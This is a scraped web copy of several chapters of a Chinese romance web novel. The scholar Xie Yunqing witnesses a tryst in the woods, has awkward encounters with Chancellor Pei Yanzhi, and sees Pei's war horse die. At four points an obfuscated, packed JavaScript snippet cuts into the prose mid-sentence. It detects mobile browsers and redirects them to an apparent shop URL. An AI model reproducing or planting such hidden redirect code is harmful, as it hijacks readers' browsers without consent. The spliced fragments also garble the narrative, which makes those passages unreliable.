在谢云卿出发之前,崔稷特意叮嘱谢云卿,不要往山林深处去,只在外围看看便好—— 虽山中的野兽猛禽早就被赶到另一处专供围猎的山上,但毕竟地形复杂、丛林茂密,谢云卿又是第一次来,怕他会迷了路回不来。 谢云卿一开始确实听进去了。 但当真到了地方,那些叮嘱就一下子在谢云卿的脑海里烟消云散了。 无他,眼前的山水实在太过奇美。 恍若鬼斧神工。 莫说需要仔细勘探绘图,只于其中漫步欣赏,就足够令人流连忘返。 于是不知不觉中,谢云卿越走越远,几乎走进了山林深处。 等画满了整整十几张纸后。 一抬头,发现太阳已有了开始落山的迹象。 虽因对这里的山水地形,有了初步了解,不至于如崔稷所说的那般迷路回不去。 但倘若没有赶在太阳落山之前离开山林,或许会遇到一些不可预测的危险。 谢云卿一下子有些慌了。 收拾图纸的时候,还不小心将没用完的炭笔抹到了脸上。 来不及顾及这些小节,谢云卿将图纸放入怀中后,便快步往山林外走去。 明亮的日光已渐渐偏黄。 山风也渐渐吹起,带来了些许冷意。 顺着方才记下的路线,沿着一条溪流走了片刻,突然,谢云卿听到了一声短促的呻.吟,可再仔细听又没了动静。 谢云卿继续往前走。 但又觉得刚刚确实不是错觉,他实在放心不下,担心有人在这里迷了路或是受了伤,于是转回身,往声音传来的方向走去。 又回到那条溪流,小心越过之后,果然,呻.吟声便越来越大地传到谢云卿的耳朵里。 再行片刻。 与那声音只隔着一丛草木了。 谢云卿却停下了脚步。 那声音其实有些奇怪,像痛苦又不像痛苦。 脑中顿时闪过了许多可能,最后觉得应是有人喝醉了酒身体不适,便不再犹豫,拨开草木看去—— 如遭雷击。 谢云卿一下子怔住了,站在原地一动不动,表情变得茫然和震惊。 不远处的树下。 有两个男子正衣衫不整地紧紧抱在一起,一人面对他、一人背对他,行那欢.爱之事。 应该趁着还没有被发现,快点离开的才是。 可谢云卿却走不动。 因为他一眼便看到,面对他的那人—— 正是阮辞。 而背对他的那人,从身形特征也不难看出,是庾琛。 阮辞和……庾琛。 怎么可能。 一定是庾琛在强迫阮辞! 谢云卿浑身发颤。 想要冲上前,从庾琛手里救下阮辞。 他走了两步,惊动了树下两人。 庾琛正要回头,却被阮辞吻住。 而后像是阮辞又说了什么,庾琛的动作更激烈了,没再管身后的动静。 间隙中,谢云卿看到。 阮辞朝他这里看了一眼,泛红的双目中满是无声的哀求——阮辞在哀求他离开。 难道,阮辞是自愿的吗? 谢云卿感到迷茫,却也知道了他不该再继续留下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292142|197056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连忙转过身,往山林外跑去。 一直跑到山脚下。 谢云卿才发觉自己的背后已被冷汗湿透,而且不用想,脸色也一定很难看。 害怕被崔稷看出什么异样,谢云卿便决定暂时在山下亭中停留一会儿,起码等这一阵惶然无措的感觉过去了,再回营地找裴宣与崔稷。 谢云卿走到亭中坐下,喘息不定,思绪纷杂。 过了一会儿,太阳落了半个山头。 暖黄的光线带着最后的暖意照在谢云卿身上,像一只温暖的手在抚摸他的后背。 渐渐的,谢云卿感到了困乏,竟就不知不觉地趴在石案上睡了过去。 但也或许是醉了过去—— 因为完全睡着的人,是不会察觉到有人在靠近的。 谢云卿艰难地半睁开眼,看向来人。 看不清面容。 只觉得那身影格外高大。 恍惚中,像是回到了四五岁的时候。 那时,他经常因为贪玩过了时间而不敢回家,每次都是父亲来找,然后抱着因玩了一天而昏昏欲睡的他回去。 “……父亲。”谢云卿张了张嘴。 那道身影似乎顿了一下,而后走近了些,却没像从前一样抱他。 以为是父亲也生气了。 谢云卿哼唧了声,艰难地撑着石案坐起来,轻轻扯住父亲的衣角,晃了晃:“父亲……抱抱云卿……” 只要他撒娇,父亲就一定会消气的。 然而这次。 却没那么管用了。 父亲还是没有俯身抱他。 谢云卿有些怕了,抬起头,看向父亲,仍是看不清脸,却能感觉到父亲身上很冷。 父亲真的生气了。 于是,他又抬起手,拉住父亲的手腕。 将父亲拉得坐了下来,然后手脚并用地往父亲怀里爬去。 肌肤相触的地方,很暖很舒服。 谢云卿想要得到更多,便更是撒娇:“父亲……父亲……抱抱云卿吧……” 终于,父亲展开了手臂,将他搂入了怀中。 他也得寸进尺。 靠在父亲的胸膛上不停地蹭:“父亲,你怎么才来接我啊。” 父亲却没有说话。 难道父亲还没有消气? 谢云卿连忙抬眸,与那一双正好垂下的眼四目相对—— 轰的一下。 谢云卿清醒了。 因为他认出,这个人根本不是父亲。 而是—— 裴丞相,裴延之。 18.第十八章 心跳在一瞬间的停滞后,又猛地加快,一下一下地,用力撞击谢云卿的胸膛。 浑身也骤然发烫,脸颊简直快要烧起来—— 他与裴延之离得太近了,近到裴延之的呼吸就蹭在他的额头,怀抱里的温度更是密不透风地将他笼罩。 相比之下,裴延之的神情没有任何变化。 一双漆黑的眼冷淡地垂下,平静地看着他,像是只是路过,而非将他抱在怀中。 ——准确来说,也并非裴延之抱他。 而是他自己爬到裴延之的怀里。 还求着裴延之抱紧他。 一阵眩晕袭来,但意识在这时却莫名更加清醒,甚至让他想起多日前,在裴宅书阁中,被他当成“父亲”抱住的,也同样是裴延之! 已经没办法再思考了——害怕自己想起更多冒犯裴延之的细节。 于是自暴自弃、自欺欺人地。 谢云卿眼睫颤抖着,浑身也颤抖着,试图从裴延之怀里爬下去。 只是,谢云卿没想过。 裴延之怎么会这么高大,怀抱又怎么会这么宽阔。 以至于自己是真的在裴延之的大腿上,手脚并用地爬了几下,才堪堪离开裴延之的怀抱——难怪会在看到裴延之身影的一瞬间,以为自己回到了很小的时候。 分心的代价是。 在爬下裴延之大腿的一瞬间,竟不小心被缠在一起的衣角绊住,摇摇晃晃地就要跌下。 怀中的图纸也因此散落一地。 谢云卿紧紧闭上了眼。 可意料中的疼痛却没有到来。 裴延之伸手捞住了他的腰,将他带着坐稳。 太烫了—— 裴延之手臂上的温度与跳动的筋脉。 谢云卿的腰都快要被烫软了。 情急之下,他慌忙推开裴延之的手臂。 扶着石案站起,连连退了好几步,再又重新跪下,塌腰伏拜:“拜……拜见裴丞相……” 行礼之后,他还想要请罪。 却发现自己根本不能将方才发生的事说出口,便只能将额头紧紧贴在地上,等待裴延之的决断。 太阳已经完全落山了。 月亮升起,皎洁的月光洒入亭中,落在谢云卿身上。 谢云卿穿得实在太单薄了。 以至于这薄薄的月光,都能将他的腰身清晰地勾勒出来,像一弯溪水,在裴延之的眼前流淌。 裴延之微微皱眉,手腕下意识动了一下。 像是上次看到谢云卿鬓边的紫藤花瓣一样,指腹忽然有些痒。 就这样过了很久。 久到谢云卿开始怀疑,裴延之是不是已经在他恍惚的时候离开了。 他鼓起勇气抬头,却迎上一双漆黑的眼眸——裴延之还坐在那里,静静地看着他。 在感到惶恐之前。 谢云卿脑中第一个想法,竟然是,裴延之的眼睛怎么会比夜色还要深邃。 只看一眼。 就能将人陷入其中,完完全全躲闪不开。 但冷意也紧随而来。 不知是吹入亭中的山风,还是裴延之周身的气度。 谢云卿打了一个冷颤:“裴……” “这是什么?” 请罪的话还未说出口,便被裴延之打断。 谢云卿看着裴延之捡起地上的图纸,简单翻阅之后,轻声问他。 裴延之的神情还是没有任何变化。 谢云卿看不出裴延之的情绪,而自己的思绪也早已纷乱,便只能垂下头,顺着裴延之的问题,恭敬地回答道: “是我画的……山水地形图。” “为何要画这个。”裴延之继续问。 那十几张图纸在谢云卿和裴延之手里,像是有不同的大小,在谢云卿手里是正常的纸页,在裴延之手里竟像是被裁剪了大半。 谢云卿莫名有些哑然:“是……是……家母所教的……兴趣……” 裴延之不置可否。 而后翻出其中一页,对着月光仔细看了起来。 “上面标注的文字与估算的数据,与水利兴建有关。”裴延之继续翻看,“这也是令慈所教吗?” 谢云卿没想到裴延之竟能看出图纸的用途。 可转念又觉得这再正常不过了,毕竟裴延之身为一朝丞相,几乎无所不知、无所不能。 他不敢再有所隐瞒,将母亲的所见所闻与毕生志向和盘托出:“……母亲希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295980|197056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望,有朝一日,能使得天下百姓都免受水患之祸,可以在故土丰衣足食、安居乐业。” 不知为何。 谢云卿在裴延之面前羞于自陈,不敢提及半点自己的想法,却被裴延之点破。 “这也是,你的志向。” 不再是询问。 而是平静地陈述。 谢云卿心里莫名紧了紧,又不自觉抬起头,撞进裴延之的眼中。 他不知道该如何描述现下的想法与情绪。 只知道,裴延之是第一个,知道他心中所愿却不怀疑或者嘲讽的人。 从前,即使是父亲。 在听完他所坦白的志向后,都告诉他,只要能考入太学获得官位便好,不要将心思放在其他地方。 而那些被弟弟带着,翻出他的图纸的孩子,更是只会嘲笑他痴人说梦、不自量力。 “我……”好像有些不真实。 眼眶鼻腔忽然有些酸涩。 却不知道该说什么,甚至没有勇气承认。 裴延之没再多说什么。 将手中图纸叠好交还给他之后,便站了起来。 高大的身影将谢云卿完全笼住,随后,俯下身,向谢云卿伸出手:“夜深了,起来吧。” 谢云卿一怔,片刻后,没敢搭上裴延之的手,而是自己撑着不知何时已经完全凉透的石案站了起来。 掌心被冷得一缩。 裴延之淡淡扫过谢云卿的手背。 收回手,没有说什么,只道:“先随我走吧,待会儿让人送你回去。” 谢云卿愣愣地跟上,走往远离营地的方向。 深夜的山林中弥漫着不知名的清香。 四周的环境越来越静,不多时,只剩下他与裴延之的脚步声。 忽然—— 有几只萤火虫出现,在裴延之与谢云卿之间流转飞舞。 谢云卿跟在裴延之身后。 闻着山林的清香,看着月光与萤光点缀在裴延之身上。 夜风就这样轻轻吹过裴延之,又吹过谢云卿的脸颊,像是一阵轻抚。 谢云卿的脚步忽然顿了顿。 因为他发觉,在这三月春寒料峭的夜里,他竟没再感觉到冷。 19.第十九章 穿过林间,不远处有灯火隐现。 谢云卿从裴延之身上移开视线,朝灯火处望去,看见了一座宅院的轮廓。 走近些许,便有两个侍从打扮的人迎了出来。 两人在看到谢云卿时皆有一愣。 但很快恢复如常,趋至裴延之身前行了见礼,再对着谢云卿微微一拜,而后安静地走在裴延之与谢云卿前方,似是在引路。 越往前走,灯火越明亮。 直至踏入宅院,眼前豁然开朗——院墙之内十分空旷,一眼扫过去,只有几棵高大的树木与一间长长的草棚。 其中一棵树下。 站着两个人和一匹白马。 谢云卿站住了,有些不敢靠近。 因那白马实在太过高大。 宛若一头巨兽,耸立在那两人中间。 “别怕。”裴延之也停下了脚步,却没看他,而是看着那匹白马,“它……很喜欢你。” 像是听到了裴延之的话,那匹白马竟朝着谢云卿走过来。 只是有些过于慢了。 甚至在过程中,两只前蹄还差点弯倒,像一座摇摇晃晃的山。 好一会儿,终于站在了裴延之与谢云卿身前,马首微微垂下,像是在仔细观察谢云卿。 感受到了白马的温驯。 谢云卿心下的害怕顿时散了大半,不自觉抬起头,也看向白马。 真的是一匹通体雪白的马。 灯火下,一丝杂色也无,从脖颈到躯体,都像是由雪堆成,白到晶莹。 而且出乎谢云卿意料的是,这匹白马虽身躯十分高大,自有威势。 但双眸却十分……温柔。 罕见的澄蓝色的眼睛,如山中湖面一般,静静地倒映着谢云卿的身影。 谢云卿心下微微一动,朝它迈了一步。 那匹白马便也低下头,用鼻子很轻很轻地蹭了一下谢云卿的头顶。 还很有灵性。 在察觉到谢云卿没有害怕和厌恶之后,又轻轻舔了舔谢云卿的脸颊。 湿热的感觉留在了谢云卿的皮肤上。 谢云卿一愣,迟疑了片刻。 而后小心地抬起手,也摸了摸白马的脸。 手下的触感十分奇妙,对于谢云卿来说有些难以形容。 就像是……像是…… 他替弟弟穿衣时触碰过的最好的布缎。 却带着温度,也更加柔软。 马儿的鼻息一下一下地喷在谢云卿的手心。 谢云卿愈发放松,甚至在积攒勇气,想要问裴延之这匹马的名字。 可突然—— 毫无任何征兆的。 这匹白马猛地摔倒在地,躺在谢云卿的脚下,艰难地喘息,几下之后,竟还从口鼻中喷出了血。 手下一空。 树下的两人立刻冲了过来,跪在白马身边,摸了摸白马的鼻子与脖颈,然后…… 朝着裴延之,摇了摇头。 在一瞬的茫然无措之后,谢云卿也朝裴延之看去。 裴延之太高了,还背着光。 谢云卿看不清他的神色,只能看到他的动作——他对着那两人挥了挥手。 那两人便起身退了下去。 随后,裴延之在白马身前跪坐而下,拒绝了身边侍从递来的巾帕,而用自己的衣袖,一点一点地替白马擦去从口鼻中不断涌出的血。 “……它,怎么会这样?”谢云卿听到自己的声音在颤抖。 “它从前受了太严重的伤。”裴延之的声音也罕见地停顿了一下,“它要走了。” 谢云卿有些不敢相信自己听到的话。 明明…… 明明就在方才…… 它还在温柔地向自己表达善意。 马首突然动了动。 似乎想要仰起脖子,可口鼻处却喷出了更多的血。 “你来摸摸它吧。”裴延之手下动作一顿,“它想要看你。” 谢云卿浑身一颤。 但很快也跪坐下来,颤抖着伸出手,放在了方才触碰过的地方。 还是那样柔软。 可温度,却在一点一点地流逝。 好像是起了雾,谢云卿的眼前越来越模糊。 最后。 什么也看不清了。 手下也彻底冰冷了。 四周骤然寂静。 良久之后。 裴延之站了起来。 身侧的侍从也将谢云卿搀了起来。 谢云卿没有抬头。 却能感觉到裴延之在看他。 “不该带你来的。”裴延之道。 谢云卿一怔。 随后慢慢抬起头,看向裴延之。 他想要问裴延之为什么。 却在看到裴延之微皱的眉头时,得到了答案——裴延之在担心他。 很奇怪的答案。 也是很没有道理的答案。 以至于很快的。 谢云卿便在心中将这个答案否定了。 或许是他表现得太过多愁善感,令裴延之感到厌烦了吧。 谢云卿又重新低下头,张了张嘴。 犹豫了许久,冒着可能会被裴延之更加厌烦的风险,还是问了:“可以……可以告诉我,它的名字吗?” “惊雪。”裴延之很快回答,“它叫惊雪。” 声音也莫名温柔。 也许是想到了与惊雪的回忆吧。 可奇怪的是,这种温柔的声音,竟让谢云卿感到了一丝熟悉。 像是…… 曾在哪里听过。 可很快,谢云卿莫名不敢再多想,只抿了抿唇,轻轻“嗯”了一声。 裴延之定定地看了他一会儿。 随后,吩咐另外两人去安葬惊雪,自己则往宅院的深处走去。 侍从也紧随其后。 谢云卿愣了一会儿,也跟着去了。 很快,抵达了一间厢房。 裴延之推门而入,而那两个侍从却莫名停下了。 门没有合上。 谢云卿站在门口犹豫了一会儿,还是跟着进去了。 谢云卿现在的思绪实在杂乱。 以至于,没有注意到,在他踏入厢房时,门外那两个侍从其实有稍稍阻拦过。 但过了一会儿,那两个侍从又默默将门紧紧关上了。 关门的声音不大也不小。 不过已足够将谢云卿从怔愣中惊醒。 谢云卿回过神。 发现厢房内有些简陋,并不似裴宅中的一样,各种陈设家具都有。 目之所及,除了一张床榻。 便只有两个架子,分别放着一个铜盆和几件干净的衣物。 以至于厢房内,什么遮挡也无。 而裴延之就站在几步之外,淡淡地看着他。 谢云卿原本觉得这间厢房虽然简陋,但大小却与裴宅中的差不多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300975|197056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可在这一刻,他却又突然认为。 这间厢房实在太小了,甚至都有些拥挤,可能是裴延之太高了,周身矜贵的气质也与这里的简陋格格不入。 “怎么进来了。” 他听见裴延之问。 但因为才回过神,反应还是有些迟钝。 谢云卿努力想了想,很诚实地答道:“我不知道去哪里。” 裴延之不再问他,也不再管他。 转过身,走到了梳洗架旁。 反正裴延之已经转过了身,看不到他,谢云卿便一直无意识地看着裴延之。 他看着裴延之在铜盆中洗了洗手,看着裴延之用巾帕擦去了水,看着裴延之碰了碰放在另一个架子上的衣服。 然后,看着裴延之抬起手。 解开腰带,脱下了沾了血的外衣。 …… 脑中又是轰的一下。 在意识到裴延之来厢房是为了换衣服的时候已经来不及了——裴延之已经脱下了里衣。 厢房内的烛火不算明亮。 却清晰地映出了,裴延之腰和背上的肌肉线条与光影。 以及,一颗正在从裴延之脖颈处滚落的水珠。 偏偏这个时候,谢云卿慌乱到根本移不开眼。 于是,就只能继续看着那颗水珠沿着裴延之身上的肌肉,一点一点地慢慢滚下。 最后消失在,裴延之腰间的阴影处。 等清醒到足够掌控身体,死死低下头的时候,裴延之又已经穿好了干净的衣服。 如果现在地上有缝隙。 不管多小,谢云卿都一定会毫不犹豫地钻进去。 胡思乱想了不过片刻,谢云卿就又听到裴延之正一步一步地朝他走近。 害怕裴延之是来教训他。 于是出于本能地,裴延之走一步,他就退一步。 最后,竟是“嘭”的一下,撞在了门上。 或许是错觉,谢云卿在这一刻,还听到了门外两个侍从的惊呼声与匆匆跑开的脚步声。 察觉出了不对劲。 谢云卿抬起头,发现裴延之已站在了他面前。 两个人之间的距离很近很近。 近到裴延之的呼吸又再次蹭过他的额头。 也近到无论从哪个角度看去。 都像是裴延之又再次抱住了他——谢云卿突然反应过来那两个侍从为何突然惊呼与离开了。 亭中的记忆呼啸而至。 说不上是因为惶恐不安还是其他情绪,谢云卿忽然有些全身发麻,呼吸都开始急促。 “在想什么?”裴延之的神色依旧淡淡。 他想要解释,他不是故意跟进来的,也不是故意盯着裴延之看的。 或者还有,傍晚的时候,他不是故意将裴延之当成自己的父亲的,更不是故意央求裴延之抱着自己的。 可声音却再次止于喉咙—— 是裴延之抬起手,朝他的脸摸来。 但只一碰,便收回了手,动作自然,不带任何狎昵的意味。 而后,向谢云卿展示了被染黑的指腹。 没有说话。 谢云卿顿时想起。 傍晚收拾图纸的时候,确实不小心将没用完的炭笔抹到了脸上。 应该感谢裴延之为他擦去脸上的污渍才对。 可不知为何,被裴延之触碰到的那一块皮肤,竟突然烫得令他浑身发软。 便更是什么话都说不出口了。 20.第二十章 快要站不住了。 谢云卿不得不靠门更紧。 门扉便不正常地颤动了几下,门外又是小声的惊呼。 那两个侍从不是已经走了吗? 还是说,方才的动静一直是他的错觉? 思维极其混乱。 视线也毫无准备地停留在裴延之的胸膛上。 很宽阔。 几乎将谢云卿眼前的光线全部遮挡住。 昏暗之间,脸颊愈发滚烫,意识也愈发朦胧。 突如其来的。 此时此刻,他很想知道,裴延之脸上是什么神情。 眼睫扑簌着,谢云卿抬起眼—— 对上了裴延之微微垂下的视线。 谢云卿怔住了。 他突然想起,小时候去山上拾柴,走得实在累了,便会躺在树下休息一会儿。 山上的风景很好,天蓝云清,微风和畅,舒服得有时谢云卿还会睡过去,醒来再匆匆忙忙下山,算是他生平中为数不多偷闲的时候。 不过其中有次,刚睁开眼,谢云卿便看到天色昏暗,有乌云从天际遥遥压来。 原本,谢云卿虽不由自主感到畏惧。 却认为,那乌云离他很远,只要他跑得够快,就一定不会被追上。 可转瞬之后,乌云便压在了他的头顶上,并且还在不断地朝他逼近,几乎要将他完全笼罩。 等到光线完全被乌云遮住...... 不,不是乌云。 是裴延之的眼睛。 ——裴延之正在俯身向他靠近。 他们之间的距离越来越近、越来越近。 近到最后,彼此的鼻息都开始交错——谢云卿莫名闭上了眼睛。 “吱呀”一声。 是裴延之俯下身,将手绕到他身后,推开了门。 还在门开的一瞬间。 用掌心轻轻扶住了他的腰,帮他站稳。 “小心。” 裴延之的声音擦过他的耳垂。 低沉而有磁性,带来了一阵痒意。 谢云卿猛地睁开眼。 那一双漆黑如乌云的眼睛,已经重新离他很远很远。 只是...... 谢云卿下意识退了两步,退出放在腰间的掌心。 站定之后,不知为何,还胡乱地想。 怎么裴延之看上去那么冷,可实际身上又哪里都很烫。 裴延之收回手,走出厢房。 眼前忽然亮了很多。 谢云卿回过神,也急忙跟上。 厢房外,方才的那两个侍从又突然出现。 裴延之似乎扫了谢云卿一眼,才吩咐那二人,送谢云卿回太学营地。 谢云卿愣愣地看向裴延之—— 他好像不该就这么离开。 裴延之似乎拥有一种能看透人心的能力,问他:“想说什么?” 可解释冒犯的话还是说不出口,请罪的言语更是难以道出。 谢云卿支支吾吾好半天。 最后,也不知怎么回事,竟鼓起勇气,问裴延之,下次休沐,能不能回裴宅陪裴老夫人用膳。 话一说出口,谢云卿立刻感到了后悔。 他怎么敢对裴延之说这样的话,又怎么有资格插手裴延之的家事。 可与此同时,他的脑海中又浮现出裴老夫人落寞的神情,与裴宣说的,裴老夫人担心裴延之十几年来都不曾释怀其父母的离去。 他忽地想起当时的那个疑问。 裴延之心里,也有一个永远无法愈合的伤口吗? 谢云卿站在厢房门边,微微低着头。 像是觉得自己做错了什么事,局促不安地扣着自己的手腕。 今夜的月很圆,胜过满院的灯火。 月光落在谢云卿的身上,给他清冷的脸镀上了一层薄薄的釉色,美得难以言喻。 他的眼睛也因为浅淡的酒意,一整晚都亮晶晶的,像琉璃珠似的。 裴延之将手背在身后,指尖微捻。 他静了很久。 而后,对着谢云卿点了点头:“会的。” 裴延之就站在原地,看着谢云卿在得到回答后,手足无措地跟着侍从走出长廊,走到院中。 夜风吹过,院中树影摇曳。 谢云卿突然停下脚步,转过头,斑驳的光影洒了他一身。 今夜的月亮很美。 可裴延之却没有抬过头,只一直微微垂眼—— 看着眼前的月亮。 一直到裴延之身边的侍从送他回到太学营地,谢云卿仍觉得脸颊与腰间有些烫。 但没有时间让他多想。 一进帐篷,裴宣便冲了上来,一把搂住谢云卿的肩,哭丧道:“云卿云卿,你可算回来了。” “你都不知道,我一觉醒来天已经黑了,可崔稷说,你还没有回来。吓得我以为你真的在山里迷路了,整个人都要冲出去找你了,崔稷才又说,我哥已经派人传过话了,说你跟着他去见惊雪了。” 一通大呼小叫,将“咋咋呼呼”这四个字体现得淋漓尽致。 崔稷在一旁,早就有所预见地捂住了耳朵。 而谢云卿就没这么有准备了,完完整整听下来,耳边嗡了好一会儿,才反应过来裴宣说的话。 “你也知道......惊雪吗?”谢云卿忍不住问。 “诶?”裴宣像是没想到谢云卿回来的第一句话竟是问这个,愣了一愣,才答道,“知道啊,惊雪是我哥的战马,在我哥刚去豫州的时候就跟着我哥了。” “战马......” 谢云卿回想了一下惊雪离开前的样子。 眼眶莫名有些酸涩。 “那它的伤,就是在战场上受的吗?” 裴宣点点头,语气也低落了些:“是啊,是在战场上,为了保护我哥受的。” “保护......裴丞相?”谢云卿心下紧了紧。 “其实我知道的也不是很清楚,因为我哥从来不跟我说他的事,我也是从我哥的副将那里听来的。”裴宣叹了口气。 “据说是在和北胡的一场战役中。”裴宣回忆道,“本战势如破竹,北胡很快就被我哥击退了。但不曾想,北胡早就预料到不能从我哥手上讨到好处,竟提前偷偷潜入村庄,俘虏了几个来不及逃走的妇女孩童作为人质,然后当着我哥的面,带着那些人质逃往山上。” “当时,所有人都在劝我哥穷寇莫追,更何况北胡携人质逃跑,摆明了山上一定有他们的埋伏。” “可我哥说,战争的意义便是保护百姓,又岂能眼见百姓落入敌手却置之不顾。”裴宣的神情也严肃了起来,“于是我哥便带着一队精锐追去了山上。” “也正如所有人意料的,山上埋伏了不少北胡士兵。”裴宣站直了身,手慢慢握成拳,“那是一场血战。” “虽我哥指挥如神又以一挡百,却还是很难很快从北胡手中救出人质。” “而在最后关头,北胡将领欲拉着我哥同归于尽。”裴宣道,“惊雪像是预料到了那贼寇的意图,在山崖前,它突然将我哥摔了出去,而后继续冲向北胡将领,将那贼寇撞入了山崖之下。” “......它自己,也落入山崖下。”裴宣面露不忍,“虽万幸被一棵树接住,却伤得很严重,从那之后,便不能再上战场了。” 谢云卿突然心下一痛。 想到了那些从惊雪口鼻中喷出的血。 “之后,它被我哥养在这里,只要我哥在京城,就会时不时来看它。” “今天,是它和我哥的最后一面吧。”裴宣看向帐篷外,“这次围猎,我哥原本是不来的,可他偏偏来了,我就猜到,一定是惊雪出事了。” “算算时间,也有近十年了,也差不多……到那个时候了。” 谢云卿不忍心回答,眼睫垂下,看着自己的手—— 是惊雪与裴延之的最后一面,也是裴延之与惊雪的最后一面,可惊雪却将更多的注意力放在了自己身上。 他有所触动,却更多是愧疚。 如果他不去的话,那么,裴延之一定能与惊雪好好告别吧。 “不过,惊雪今天一定很开心吧。”裴宣突然看回谢云卿。 谢云卿抬起眼,有些疑惑。 “因为啊——”裴宣又笑嘻嘻地,凑到谢云卿面前,盯着谢云卿,“那马儿有些太通人性了,平日里跟个登徒子一样,最喜欢......” 裴宣戳了戳谢云卿的脸:“你这样的美人!” 谢云卿微微睁大了眼,有些难以置信。 “诶!你可别以为我在说胡话。”裴宣鼓起嘴,假装生气,“我之前也曾去见过惊雪,本想好好陪它玩一玩。但哪曾想,那马儿看了我一眼之后,竟就扫扫尾巴,转身走到马厩里不出来了,后面即使我凑到它的脸上,它都不肯再看我一眼!” 裴宣扯扯谢云卿的袖子:“我难道很丑吗!” 不等谢云卿回答,崔稷在旁边“扑哧”一下笑出了声:“人贵有自知之明。” 裴宣不甘示弱,怼了回去:“惊雪不也没多看你一眼?看来你也要有自、知、之、明啊。” 崔稷翻了个白眼,又不说话了。 难道这便是裴延之带他去见惊雪的原因吗?谢云卿想。 “说来,我哥怎么碰到你的啊?”裴宣又问谢云卿,“难不成真是专程去找你的?” 谢云卿本不假思索地回答道:“当时我在山脚下的亭子里休息……” 话才说到这里。 那段难堪的记忆顿时再次涌了上来。 他面颊又一热,没再继续往下说了。 “哦!那还真是碰巧!”谢云卿虽答得不完全,但裴宣却像是已经了然,“去惊雪那里确实要经过那个亭子。” 说完,裴宣又自顾自打了个哈欠:“好了,我们早些休息吧,明日还要早起围猎呢!” “这两日你就和我们住一个帐篷,明日不想围猎也不要紧,留在大营看看书也可以。”崔稷走到谢云卿身前,又叮嘱,“只是皇室与其他世家的人都来了,切记不要再随意四处走动了,若是遇到了什么难缠的情况,便教人来寻我和裴宣,我们会尽快赶回来的。” 谢云卿点点头。 第二日一早,围猎仪式过后,裴宣和崔稷便往山中打猎去了。 大营中没几个人。 谢云卿却还是躲在了角落里,准备整理昨日画下的山水地形图。 但在摊开图纸的一瞬间,谢云卿突然愣住了,想起昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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才踏入帐篷,裴宣就像是终于忍不住了一样,立即说道:“那孩子是宫里的二十三皇子,生母是我们裴氏旁系的一个女儿,与我和我哥确实有些关系,所以他们母子便总想让我哥帮他们……” “咳。”崔稷再次打断了裴宣。 裴宣一顿,生硬地没再说下去,而是抱怨:“也是我哥的人告诉我,他来找你了,我和崔稷才匆匆回来的。” “我看他们母子简直是病急乱投医,竟找到你这里来了!” 虽知晓了那小郎君的身份。 却还是不明白一个皇子为何来找自己。 但谢云卿从崔稷的反应中感受到了,这件事他不应该问,便没有开口。 裴宣也少见地没有再继续这个话题,只叹道:“好好的围猎兴致就这么没了。”再看向崔稷,耸了耸肩,“要不我们回太学吧,反正今年山里也没什么有趣的东西,年年都如此,我也腻了。” 崔稷神情严肃,点点头:“那就回去吧。” 谢云卿没想过还能提前回太学,却也乐于接受,于是三人便又乘马车往太学去。 一路上,裴宣与崔稷都没怎么说话。 谢云卿便也没开口,而是在脑中整理山水地形图的细节。 在抵达太学的时候,是裴宣先下的车。 随后,谢云卿便听到裴宣感到惊奇的声音:“太学门前怎么有个小乞丐?” 谢云卿也有些好奇。 下车之后,便顺着裴宣的视线看了过去。 裴宣说得有些夸张。 并非是乞丐,而只是那人的衣服和脸上脏了些,头发也乱了些。 看着看着,谢云卿突然怔住了。 而裴宣口中的“小乞丐”也恰好向他们这里看来。 下一瞬,那“小乞丐”便向谢云卿跑来,一边跑,还一边哭喊着:“阿兄——阿兄——” 谢云卿确定了。 那“小乞丐”不是别人,正是他的弟弟,谢敏。 谢敏没能第一时间靠近他们,而是被马车附近的侍卫拦住了。 裴宣也听到了,顿时面露震惊,看向谢云卿:“这个乞……孩子,真是你弟弟吗?” 谢云卿在怔愣过后,也往谢敏那里奔去:“是,他是我的弟弟。” 侍卫立刻放了行。 谢敏便一头扎进了谢云卿的怀里,还是在哭:“阿兄,我终于等到你了!他们都欺负我,根本不让我进去找你!” 谢云卿接住了谢敏,再低头看了看谢敏的脸,心里有些酸涩,眼泪几乎要落下来。 虽然继母待他并不好,谢敏平日里也很淘气。 